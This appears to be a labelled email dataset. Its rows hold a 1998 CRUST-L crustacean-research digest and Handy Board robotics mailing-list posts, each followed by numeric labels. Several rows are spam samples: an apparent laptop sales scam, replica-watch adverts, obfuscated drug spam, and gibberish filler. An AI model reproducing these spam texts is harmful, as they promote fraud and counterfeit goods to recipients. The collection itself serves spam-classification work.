>>*************************************** > > >=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D= - -=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D >To (un)subscribe to CRUST-L: >Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. >To post to CRUST-L, send messages to CRUST-L@VIMS.EDU >Send HELP to MAJORDOMO@VIMS.EDU for additional commands. >Archives available at http://www.vims.edu/~jeff/archive.htm >=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D= - -=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D > > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Dr Jean-Charles Massabuau =20 UMR 5805, Laboratoire d'Ecophysiologie et Ecotoxicologie des Syst=E8mes Aquatiques. =20 Universit=E9 Bordeaux I and CNRS Place du Dr Peyneau Tel: +33 (0)5 56 22 39 25 33 120 Arcachon Fax: +33 (0)5 56 83 03 50 FRANCE e mail: massabuau@lnpc.u-bordeaux.fr ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Tue, 22 Dec 1998 12:37:52 +0100 From: Traudl.Krapp@uni-bonn.de Subject: CRUST-L: odd question and some answers Dear Crustlers!- As I very often am angry or disappointed not knowing the answers of so many of your questions (where people are directly answering), I summarize my results thanking all of you who reacted! On Fri, 18 Dec 1998 Traudl.Krapp@uni-bonn.de wrote: > Dear crustlers! > Years ago I read in a book on ?Galapagos? among others about a man who decided > to dropout and stay for the rest of his life in direct contact with nature. > Before he moved to the island he asked a dentist to remove all his teeth > for being sure he would not have trouble with them, far away from civilisation, > and he decided to become a strict vegetarian. - He ended up as strict anti- >vegetarian, having > ONLY meat as nutrition, using teeth of metal...... ****************************** 1: from USA Virginia) Isn't that part of a novel (which was called ""Galapagos"") by Kurt Vonnegut? I did not think that was a true story. If there was some truth behind the story, I know nothing about it. Hope this helps a little. 2: from Italy) the version I have heard about was that the teeth of a whole family (male, female and a few children) were ALL removed. I have heard the story from my mother during the end of years '50, and the source was probably nothing but the Reader's Digest. That's all I know about it but, please, let's remain in touch and tell me what you can find about it. During the last 30 years I have been working for months in quite desert places such as the southern Somalian coast and the Bajuni Island or Aldabra Atoll and this story is following me as a kind od nightmare ! 3: from USA Virginia) Well, this is really odd. My wife read me an amusing story about the Galapagos last week which was part of a novel she was reading. Believe it or not, it was the story of your toothless man. The novel in which the story was related was ""The Evolution of Jane"" by Katherine (Kathleen?) Schine. I thought the story was made up by the author, but perhaps not (or perhaps its on a par with urban legends). As far as I remember, the man (a dentist) and his lover chuck their spouses and head for the Galapagos, having their teeth pulled prior to leaving. I don't remember much more than that. Good luck finding the book. 4: region not given) I lived in Galapagos for many years and know the story well. The gentelman was Dr. Ritter, a german dentist. Went to Galapagos as you said, to the Island of Floreana. He brought with him his ""wife"" Dore Strauch, who wrote a book about their adventures. The story is filled with love intrigue and murder, I wish I could remember the name of the book, but I'm sure a search of her name will bring it up. Hope this helps. I have the name of the book, it is ""Satan Came to Eden"" by Dore Strauch, published in New York, 1936 5: Slovenia) I definitely wish you and your family (those curious children included) much fun with a lot of VARIED food next days. ****************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Tue, 22 Dec 1998 12:35:21 +0100 From: ""Jose A. Cuesta"" Subject: CRUST-L: Some questions Dear colleagues, I have several different questions for you and would aprreciate any possible help. 1)Does anybody know the taxonomic authority (including the year) of the following genera and species? I am also interested in possible synonyms. Pyxidognathus Pachygrapsus polypodus Percnon demani Percnon pilimanus Geosesarma scandens Sesarma gabonensis Heterograpsus barbimanus Heller, Plagusia spinosa MacLeay, Sesarma lanatum Alcock, 2)Does somebody know whether Pseudograpsus intermedius from Indian waters is a valid species? And, is this its presently recognized name? 3)I am interested in a paper published in Mahasagar, this journal is in a Spanish Library but not the volume that I am looking for, 21, have anybody this volume available? Or the paper: Pasupathi, K. & Kannupandi, T. (1988) The zoeae, megalopa and the first crab of the mangrove crab Metaplax elegans De Man, cultured in the laboratory. Mahasagar, 21: 145-160. 4)Is there a reference in the literature on the % of decapod larvae in the total of inshore plankton samples? 5)Does anyone know about a larval description of a first zoeal stage from the genus Paragrapsus? If not, does anyone have access to species of this genus and would be able to obtain the first zoeal stage by bringing an ovigerous female into the lab? I am in urgent need of those larvae for a comparison of grapsid zoeal morphology and would gretaly appreciate any help! 6)Finally, does somebody know the e-mail address or fax of Dr. Daniella Pessani from Universita di Torino? I would be very grateful for any help in any of above questions, Thanks in advance and my best wishes for the New Year, Jose ********************************* Jose A. Cuesta Dept. de Ecologia, Fac. de Biologia Apdo. 1095, 41080 Sevilla SPAIN mariscal@cica.es ********************************* =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Tue, 22 Dec 1998 19:05:08 -0500 From: ""Rhea Tannenbaum"" Subject: CRUST-L: Fw: Tech Job - Lobster Ecology Yet another job posting that I came across on sci.bio.ecology. Best holiday wishes to you all! Rhea Tannenbaum RheaT1@prodigy.net http://pages.prodigy.net/rheat1/natur001.htm A unique signage system for living animal exhibits in nature centers, zoos and aquariums. Modular, water-resistant, scratch-resistant, easy to mount and remove. - -----Original Message----- From: Rick Wahle Newsgroups: sci.bio.ecology Date: Monday, December 21, 1998 11:53 AM Subject: Tech Job - Lobster Ecology >Technician Position Available: Lobster Ecology in New England > >Bigelow Laboratory is seeking a field/laboratory technician to assist >research projects supported by NOAA's Sea Grant and National Undersea >Research Programs on the ecology of the American lobster in New England. >The objective of the study is to determine the influence of habitat quality >on rates of emigration and mortality in lobsters nurseries from Maine to >Rhode Island. Responsibilities include: organizing and participating in >dive operations and field work, coordinating 3-4 summer interns, handling >small boats, conducting lab-based sample processing, data entry, and >statistical analyses. > >Applicants should have (1) at least a BA or BS degree in biology, ecology, >oceanography or a related field, (2) scuba certification with experience in >open water diving and boat handling, (3) at least one year of lab/field >experience, and (4) Computer skills including word processing, spreadsheet, >statistical and graphing programs. > >This is a one year position available immediately with support pending for >a second year. To apply send resume, transcripts, and two letters of >recommendation by January 22, 1999 to: > > Richard A. Wahle > Bigelow Laboratory for Ocean Sciences > West Boothbay Harbor, Maine 04575 > fax: 207 633 9641 > email: rwahle@bigelow.org > >Richard A. Wahle (Rick) >Bigelow Laboratory for Ocean Sciences >West Boothbay Harbor, Maine 04575 USA > >tel: 207 633 9600 >fax: 207 633 9641 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Wed, 23 Dec 1998 09:43:23 +0100 From: Massabuau Jean-Charles Subject: CRUST-L: invasive species Dear Debbie, Thanks for your response and your comment ! This is just to tell you that I tried the web number you gave us but it does not work ! Could you be kind enough for checking it ? Otherwise you told that you are working on the chinese crab. We already work a little bit with this animal, looking for its arterial Po2 at the anaerobic threshold. We found that it was about 1 kPa. If you are interested we published it in 1992 (Respir Physiol, 88, 247-256: When are resting water-breathers lacking O2 ? Arterial Po2 at the anaerobic threshold in crab) At 14:14 22/12/98 -0800, you wrote: >Greetings- > >Impressive numbers! Im actually just starting work on the Chinese mitten >crab here in San Francisco which seems to parallel C maenus in several >ways in terms of its behavioral plasticity. I do know there's lots of talk >here in the US about the green crab. Have you seen the following website- >www.wsg.washington/edu/outreach/mas/aquaculture/crab.html >Its a site for the green crab and there's a couple of contact names. Also, >I imagine that if he hasn't already contacted you, he's at least on the >crust-l list- Ted Grosholz at University of California Davis has done >quite a bit of work on the >green crab. > >Best of luck! I look forward to reading your paper. It would be quite >interesting to see if the mitten crab exibited similar euryhalinity, Ive >some indication already from studies and observation that it does. > >Joyeux Noel! >Thanks, > >Debbie >----------- >Debbie Rudnick >ESPM >University of California >Berkeley, CA 94720 >drudnick#nature.berkeley.edu >On Tue, 22 Dec 1998, Massabuau Jean-Charles wrote: > >> Hello, >> Talking about marine invasions, I got the oppurtunity to say we are >> finishing a paper on the ability of the green crab Carcinus maenas to fed >> in hypoxic waters. In summer, we saw Carcinus eating in waters where the >> partial pressure of oxygen, PO2, was 2-3 kPa (remember that in normoxic >> water, PO2 =3D 21 kPa!). Obviously this astonishing capacity to behave= like >> that is a clear advantage for invading numerous new biotopes. We would= like >> to have some kind of overall view on its recent expansion and we are >> looking for papers on the subject. Any help is welcome. >> Best wishes and merry christmas to everybody !!! >> JC >>=20 >>=20 >> At 17:40 21/12/98 -0600, you wrote: >> >Hi folks, >> > >> >I got the following reply from Roy Caldwell. I'm surprised that this hasn't >> >generated more discussion. Marine invasions are occurring (recent posts= on >> >the green crab for instance, and news on algae in the Mediterrenean and >> >Zostera on the California coast are examples) and they must be occurring on >> >coral reefs. To who knows what end? Especially given the lousy knowledge of >> >small reef species and the critters that live inside the reef. Any more >> >news? >> > >> >Phil >> > >> >>The best example that I know of is the introduction of >> >>Gonodactylaceus mutatus from the Philippines into Oahu in the 1950's. >> >>It rapidly spread and caused problems for Pseudosquilla ciliata as >> >>well as other animals living in coral cavities. There was some >> >>debate on whether this was an introduction and Manning and Reaka >> >>actually named this beast Gonodactylus aloha, but fortunately, >> >>subsequent work pretty much proves that Bob Kinzie was correct and >> >>that it was an introduction - probably animals living in cavities in >> >>concrete barges towed back from the Philippines after WWII. >> >> >> >>Roy >> >> >> >> >> >>> Crusters, >> >>> >> >>> People have occassionally posted about the problems of introducing foreign >> >>> species, but these problems have typically concerned freshwater or >> >>> terrestrial species. >> >>> >> >>> Are there any reports of the introduction of foreign coral reef >> crustaceans >> >>> spreading havoc amongst the native species of a coral reef? Say Great >> >>> Barrier Reef species finding their way to the Caribbean, and the >> >>> consequences? Any possiblity that the die-offs of corals in the Caribbean >> >>> are caused by pathogens introduced by such introductions? >> >>> >> >>> Phil >> >>> >> >>> }}}}}}}}}}}}}}}}}}}}}}}}}}{{{{{{{{{{{{{{{{{{{{{{{{{{ >> >>> Philip Oshel >> >>> PO Box 620068 >> >>> Middleton, WI 53562 >> >>> oshel@terracom.net >> >> >> >>*************************************** >> >>Roy L. Caldwell >> >>Chancellor's Professor and Chair >> >>Department of Integrative Biology >> >>University of California at Berkeley >> >>Berkeley, CA 94720-3140 >> >>USA >> >> >> >>Phone: (510) 642-1391 >> >>Fax: (510) 643-6264 >> >>Email: 4roy@socrates.berkeley.edu >> >>http://ib.berkeley.edu/faculty/Caldwell,RL.html >> >>*************************************** >> > >> > >> >=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-= =3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D >> >To (un)subscribe to CRUST-L: >> >Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. >> >To post to CRUST-L, send messages to CRUST-L@VIMS.EDU >> >Send HELP to MAJORDOMO@VIMS.EDU for additional commands. >> >Archives available at http://www.vims.edu/~jeff/archive.htm >> >=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-= =3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D >> > >> > >> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ >> Dr Jean-Charles Massabuau =20 >> UMR 5805, Laboratoire d'Ecophysiologie et >> Ecotoxicologie des Syst=E8mes Aquatiques. =20 >> Universit=E9 Bordeaux I and CNRS >> Place du Dr Peyneau Tel: +33 (0)5 56 22 39 25 >> 33 120 Arcachon Fax: +33 (0)5 56 83 03 50 >> FRANCE e mail: massabuau@lnpc.u-bordeaux.fr >> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ >> To (un)subscribe to CRUST-L: >> Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. >> To post to CRUST-L, send messages to CRUST-L@VIMS.EDU >> Send HELP to MAJORDOMO@VIMS.EDU for additional commands. >> Archives available at http://www.vims.edu/~jeff/archive.htm >>=20 > > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Dr Jean-Charles Massabuau =20 UMR 5805, Laboratoire d'Ecophysiologie et Ecotoxicologie des Syst=E8mes Aquatiques. =20 Universit=E9 Bordeaux I and CNRS Place du Dr Peyneau Tel: +33 (0)5 56 22 39 25 33 120 Arcachon Fax: +33 (0)5 56 83 03 50 FRANCE e mail: massabuau@lnpc.u-bordeaux.fr ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V2 #11 ****************************",0,1 """Fred G. Martin"" ",nari ,"Thu, 12 Mar 1998 08:44:59 -0500",Re: downloader for SGI ,"Nari: I don't know of a precompiled SGI version. You can build one yourself from the sources listed in ftp://cher.media.mit.edu/pub/projects/ interactive-c/source/. Also, please be aware that when you send mail to ""handyboard@media.mit.edu"" you are reaching 300+ people. Maybe this is what you intended, but you also seem to be trying to reach me personally, in which case you should use fredm@media.mit.edu. Fred In your message you said: > Hi Fred, > > I like to connect my handy board to an O2 platform. > Could you please tell me where I can find downloader for unix system? > > many thanks, > nari > > > > ",0,0 Ecole Louis de Broglie - Promotion 1999 ,"""'handyboard@media.mit.edu'"" ","Thu, 12 Mar 1998 15:23:32 +0100",Linking two handy-board," Hi, everybody. A little question that upset us : We plan to use two handy-board : a master handy-board and a slave one. The slave handy-board would make some difficult calculations for the master one and would send the results to this last one. The master handy-board would send the data for the caculations to the slave one and would say to it to stop if needed. Is it possible to do this (if possible, in a simple way) ? Thanks a lot in advance. RC99 & OM99 Hope the force will be with you !!!!! ",0,0 Frangois ,'Handyboard Mailing List' ,"Thu, 12 Mar 1998 19:59:03 +0100",robot with two handy boards,"Hello, We plan to design a robot which has to move very quicly and very accurately. For this matter we wonder if it is necessary to use one handy board or to link two handy boards to complete such a task. (If we use 2 HB, one (the slave) would be in charge of computing our position (encoders and infrared beacons), driving our motors,and processing all the data comming from our sensors (mainly bump sensors).The other would receive from the previous all the positions of the objects on the field (our robot, opponent's robot, obstacles) and according to our strategy choose the best way to reach the goal (it's a soccer robot contest).) Maybe, some of you have alredy carried out such projects and can share with us their experience. Any advices to help us evaluating our HB needs would be appreciated. François ",0,0 """eBay Member: chocochow"" ",handyboard@media.mit.edu,"Thu, 12 Mar 1998 09:18:56 -0500",Fines Prices and Valued Products,"I have just one product same with item no 8804053361 and the finest price on the market. I have just opened a store and have for sell laptops like Alienware, Dell XPS Gen2, Sony Vaio, Apple PowerBook G4 and G5. 50 units of Apple Nano Ipod 4 GB and many more. E-mail me at keyra.agustina@yahoo.com if interested. Finest prices on the market, safe payment method and fast shipping! ",1,0 Humberto Martinez Barbera ,handyboard@media.mit.edu,"Thu, 12 Mar 1998 22:22:52 +0200",Re: PC/Handyboard serial communication,"Hi all, I wrote in a previous message: >I use Linux to talk to my HandyBoard. I have written a couple of functions >(in plain C) to do so, and implemented a software handshake (even with low >speed PCs you have to do some sort of handshake). Of course, the merit is not >mine, I have mixed functions from people all over the net :-), but if someone >is interested I can send my code. As many people has requested me to send the code, I have decided to put it on my microrobot projects page. Use it at your own risk! It is still in development, but it can serve to show how to make the link. I have reused code from many people, and so, they are credited in their source files. http://www.um.es/~humberto/asy Regards, Humberto \\ / o====|----------------------- -----------------------|====o / \\ Humberto Martinez Barbera Dept. de Informatica y Sistemas e-mail: humberto@fcu.um.es Facultad de Informatica web: http://www.um.es/~humberto Universidad de Murcia phone: +34-68-36.46.34 SPAIN fax: +34-68-36.41.51 ",0,1 """Croons U. Tack"" ",Bait ,"Thu, 12 Mar 1998 09:17:07 -0400",//// A T CH E$!,"REPLICA //ATCHES BAZAAR! Chose your favorite /// a t c he $$$!!!!! http://skgaydyqfhxorsaqfaa8faas.iraqianjg.com gift b0xes available! alain silberstein @. lange audemars piguet bmw breguet breitling bvlgari cartier chopard chronoswiss corum franck muller longines maurice lacroix montblanc omega panerai patek philippe piaget tag heuer ulysse nardin vacheron constantin VIP Breguet alain silberstein //arranty!!! Manufacturers' defects are covered by 30 -days' warranty from the day you receive it. This does not include water damage, intentional damage, or general wear and tear (such as scratches, fading of the gold, etc.). Although certain watches are water-resistant to a certain degree, we suggest keeping them away from water whenever possible, and make sure the crown is always screwed in tight so moisture does not get in. ",1,1 Charles Hacker EAS ,handyboard@media.mit.edu,"Fri, 13 Mar 1998 09:22:03 +1000",Writting plain Machine Code,"Hello All, I wish to program the Handy Board by plain machine code. Does anyone know how to download a plain binary S19 code, using a standard serial terminal, communicating to the given IC monitor. Also, how would I get the downloaded machine code to run. In short ( I known this question must have been asked before ) is there the ability to communicate to the Handy Board, like Buffalo was able to communicate to the EVB boards. Thanking you, Charles Hacker School of Engineering Griffith University - Gold Coast PMB 50 Gold Coast Mail Centre Southport Queensland 9726 Australia. Email - C.Hacker@eas.gu.edu.au Ph. (07) 55948 670 Fax.(07) 55948 065 ",0,0 MAR ERICSON ,handyboard@media.mit.edu,"Thu, 12 Mar 1998 19:00:48 -0500",Kent's sonar routines," Can anyone clarify something for me? A section of the code of sonar.asm goes as follows: variable_sonar_time sonar_time FDB 0 What does this mean? Why are there two variables before the FDB? Another section goes as follows: variable_sonar_enable FCB 0 sonar_enable FCB 0 I thought IC integers had to be 2 bytes. And also, are these two different variables? Thanks for any help. :) ----------- ericson mar Master of Engineering Candidate Project: Mobile Robotics mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- ",0,0 Della Stout ,Ted ,"Fri, 13 Mar 1998 00:00:12 +0500",�λ����� ���� ���鶧 ������ �ǵ帮�ڽ��ϴ�.,"Now and then, fighter pilot beyond make a truce with paper napkin defined by line dancer.Any espadrille can caricature turkey over diskette, but it takes a real reactor to widow near squid.Still go deep sea fishing with her from tabloid behind squid, know her salad dressing near with over food stamp.Any gonad can make a truce with cowboy related to, but it takes a real bicep to fire hydrant toward hydrogen atom.Unlike so many cigars who have made their fractured jersey cow to us.Most toothpicks believe that living with pig pen sanitize of widow. ",1,0 Max Davies ,MAR ERICSON ,"Thu, 12 Mar 1998 23:24:21 -0500",Re: Kent's sonar routines,"MAR ERICSON wrote: > Can anyone clarify something for me? > > A section of the code of sonar.asm goes as > follows: > > variable_sonar_time > sonar_time FDB 0 > > What does this mean? Why are there two variables > before the FDB? The line ""variable_sonar_time"" indicates that the immediately following FDB will be available to IC as an integer variable named ""sonar_time"". The next line with the FDB is just a regular assembler definition statement to allocate storage for the variable and name it for assembler access purposes. > Another section goes as follows: > > variable_sonar_enable FCB 0 > sonar_enable FCB 0 > > I thought IC integers had to be 2 bytes. Yes, IC integers have to be 2 bytes. > And also, are these two different variables? My guess is ""yes and no"". I am guessing they are pulling a trick so that IC sees a 2-byte variable while assembler sees a 1-byte variable. I haven't seen this sort of thing before. If you didn't copy it wrong and if it really works then my guess would be that it is defining a single-byte value for assembler usage, prefixed by a guaranteed null byte so that IC can access it properly. /Max ",0,0 """Fred G. Martin"" ",handyboard@media.mit.edu,"Fri, 13 Mar 1998 01:38:56 -0500",6.270 1998 videos available,"------- Forwarded Message Received: from MIT.EDU (SOUTH-STATION-ANNEX.MIT.EDU [18.72.1.2]) by aleve.media.mit.edu (8.8.7/ML970927) with SMTP id BAA04302; Fri, 13 Mar 1998 01:08:38 -0500 (EST) Received: from DEPARTMENT-OF-ALCHEMY.MIT.EDU by MIT.EDU with SMTP id AA10343; Fri, 13 Mar 98 01:08:26 EST Received: by department-of-alchemy.MIT.EDU (8.8.7/4.7) id BAA12192; Fri, 13 Mar 1998 01:08:24 -0500 (EST) Message-Id: <199803130608.BAA12192@department-of-alchemy.MIT.EDU> To: 6.270-fanclub@media.mit.edu From: 6.270-organizers@MIT.EDU Subject: 6.270 Videotapes Date: Fri, 13 Mar 1998 01:08:24 EST Sender: mallen@MIT.EDU X-UIDL: a903f852c0f1f4b4e254d9e7772e96d5 At the beginning of January, fifty 6.270 teams were given kits containing a microcontroller board, sensors, Lego parts, and the rules for this year's contest, ""RoboGolf"". With a basic knowledge of robotics, taught by the contest's student organizers, the teams each then set out to construct an autonomous robot. Three and a half weeks later, those robots competed against each other at the twelfth annual 6.270 competition until a victor emerged. This year, the contest organizers are making videotapes of the competition available to the public with help from MIT Video Productions and sponsorship from Oracle. The price of the videotapes will be $20 per tape in the United States and $25 elsewhere. Note that these prices represent the costs of production and shipping, and 6.270 does not intend to make a profit on the sales. All tapes are high-quality VHS dubs and come in a stylish vinyl case. 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Does anybody have any experience in using cameras with the handyboard? Or is its CPU too slow? In that case: can you recommend a different board? Thanks, Jan ____________________________________________________________________ Jan Peters Student: Elektro- & Informationstechnik(TU Muenchen) Informatik(FernUni Hagen) email: Jan_Peters@gmx.net homepage: http://www.eikon.e-technik.tu-muenchen.de/~peters Heim-Adresse: Studienort-Adresse: Saturnweg 13 Traunsteiner Str. 3, Wg.3 22391 Hamburg 81549 Munich GERMANY GERMANY ",0,1 German Gentile ,Handyboard ,"Fri, 13 Mar 1998 12:59:09 -0300",I can't beep my handy.... ,"I cant't make beep my handy, anyone can tell me how make it using Imagecraft C???? Thanks a lot ",0,0 Anthony Oren Loeppert ,handyboard@media.mit.edu,"Fri, 13 Mar 1998 17:04:13 -0600",Strange IC error,"I have attached the HB to a formerly radio controled car. I built an h brigde as described on wizard.org to control the motor. Anway.... all is going well, I have written routines to control the motor. Still sounds great... Until I get to uploading them into the HB using IC 2.853-Rev2. I get a: Fatal Internal Error Illegal size to spew push-op and then it shuts down. I have never had this problem before and I don't know what to do about it. Are the upload files only allowed to be so big? Here is the exact contents of the file I am trying to upload. The variable 'motor' is the number of the motor output of the HB which my steering motor is connected to. I have connected the reverse and forward control wires of the HB to SCK and MOSI. void fd_left(int on, int off, int motor,int turnlen) { turn(on,off,motor,turnlen, -1,1); } void fd_right(int on, int off, int motor,int turnlen) { turn(on,off,motor,turnlen, 1,1); } void bk_left(int on, int off, int motor,int turnlen) { turn(on,off,motor,turnlen, -1,-1); } void bk_right(int on, int off, int motor,int turnlen) { turn(on,off,motor,turnlen, 1,-1); } void forward(int on, int off, int len) { turn(on,off,0,len,0,1); } void backward(int on, int off, int len) { turn(on,off,0,len,0,-1); } void turn(int on, int off, int motor,int turnlen, int turndir, int dir) { int i=0; char direction; if(dir>0) direction = 0x08; else direction = 0x10; if(motor >= 0 && motor <4) { bit_set(0x1009, 0x3c); bit_clear(0x1008, 0x08); bit_clear(0x1008, 0x10); if(turndir != 0) { if(turndir > 0) bk(motor); else fd(motor); } while(i < turnlen) { bit_set(0x1008,direction); msleep((long)on); bit_clear(0x1008,direction); msleep((long)off); i++; } ao(); } }",0,0 Virtual ,handyboard@media.mit.edu,"Wed, 13 Mar 1996 17:01:06 -0800",LCD help,"I have build the board described in my book ""Mobile Robots"" which is a great book. I just got the board going after realizing it isn't a good idea to assume the pin outs of all 32K x 8 ram chips is standardized :) I was hoping someone could help with my current problem, wiring this 20 x 2 LCD screen to the board. Its a standard HD44780 controller but no matter what base software I load using Interactive C, the display shows nothing. By nothing I mean no data, the LCD does turn on and you see the little black squares. I have checked my wiring about 50 times and the LCD is fine because I can use it with PIC's and my basic stamp 2 processor. I use the 74HC10 as described in my book rather than the 74hc132 and after looking at the handy board schematics I don't think the LCD would be affected by this. I have also tried using the rug warrior code (pcoderwl.s19 and pcode_rw.s19) and those don't work either. When I run IC I can type 1+2; and the board will respond with 3 so I know the board is working and everything seems to be fine except that I get nothing on the LCD. The LCD that I am using is a 20 x 2 Hitachi display. I am using the 68hc11A0FN fitted into a botboard which is then wired to a breadboard with the ram and LCD. Thanks John ",0,0 Richard ,handyboard@media.mit.edu,"Fri, 13 Mar 1998 18:33:41 -0800",Undefined ,"Hello everyone! I was wondering why my IC compiler ( IC-2.853Rev2 ) keeps giving me wacky and excessivly silly errors. Are there libraries that I was supposed to download to get rid of those pesky start_button and start_press undefined error statements. If there is an ftp site for these libraries, that would be great. I looked around the cher.media.mit.edu one and didnt see there. If anyone could help me out with this, that would be great. Apparently programs that run on other peoples handyboard dont want to compile for mine and thats when i get the error message. Thanks! -Richard ",0,0 Eos Petersen ,handyboard@media.mit.edu,"Fri, 13 Mar 1998 15:56:24 -0700",Re: your CtALloS,"Hi X L V P V A C a e I r A m I n v A o L b A a i G z I i L x t R a U e I ra A c M n S http://www.monibulations.com others just outside. Then the hobbit slipped on his ring, and warned by the echoes to take more than hobbits care to make no sound, he crept noiselessly down, down, down into the dark. He was trembling with fear, but his little face was set and grim. Already he was a very different hobbit from the one that had run out without a pocket-handkerchief from Bag-End long ago. He had not had a pocket-handkerchief for ages. He ",1,1 Anthony Oren Loeppert ,handyboard@media.mit.edu,"Fri, 13 Mar 1998 22:01:50 -0600",Strange IC error (nevermind),"Never mind... I discovered that IC didn't like me using a variable for the 8 bits to pass to bit_set and bit_clear (too bad it didn't just tell me that instead of throwing its arms up and quiting). I wanted to use the variable to save code space, but alas I changed the code to an if statement and two while loops. ",0,0 Anthony Oren Loeppert ,handyboard@media.mit.edu,"Fri, 13 Mar 1998 22:10:57 -0600",Metal detectors,"Has anyone ever built a metal detecting device? I found some plans at http://ohmslaw.com/metal.htm but I don't know how sound it is, but I assume it works. I would like to interface the HB with a metal detector and have my robot search around for metal object. Any advice or known pitfalls with trying to undertake such a feat? ",0,1 Darth Vader ,handyboard@media.mit.edu,"Fri, 13 Mar 1998 22:24:03 -0600",multiplexing tomes on Handyboard?,"hello! Is there any way to write up a driver so that the soeaker can play 2 tones at once, like a telephone doeS? I triede creating 2 processes to play difrent tones, and then I attempted to run them simultaneously, but that resulted in a HB error. IS there any way to do this??? thanks! Phil Hahn phil@rent-a-nerd.com www.rent-a-nerd.com ",0,0 Will Bain ,handyboard@media.mit.edu,"Sat, 14 Mar 1998 00:09:36 -0700",Re: Undefined ,"At 06:33 PM 3/13/98 -0800, Richard wrote: >Hello everyone! I was wondering why my IC compiler ( IC-2.853Rev2 ) >keeps giving me wacky and excessivly silly errors. Are there libraries >that I was supposed to download to get rid of those pesky start_button and >start_press undefined error statements. The code that defines these and other useful functions is called lib_hb.c, and versions of it can be found on the Handy Board web site (e.g., the most excellent version that includes smooth pulse-width modulation for the motors). --Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` 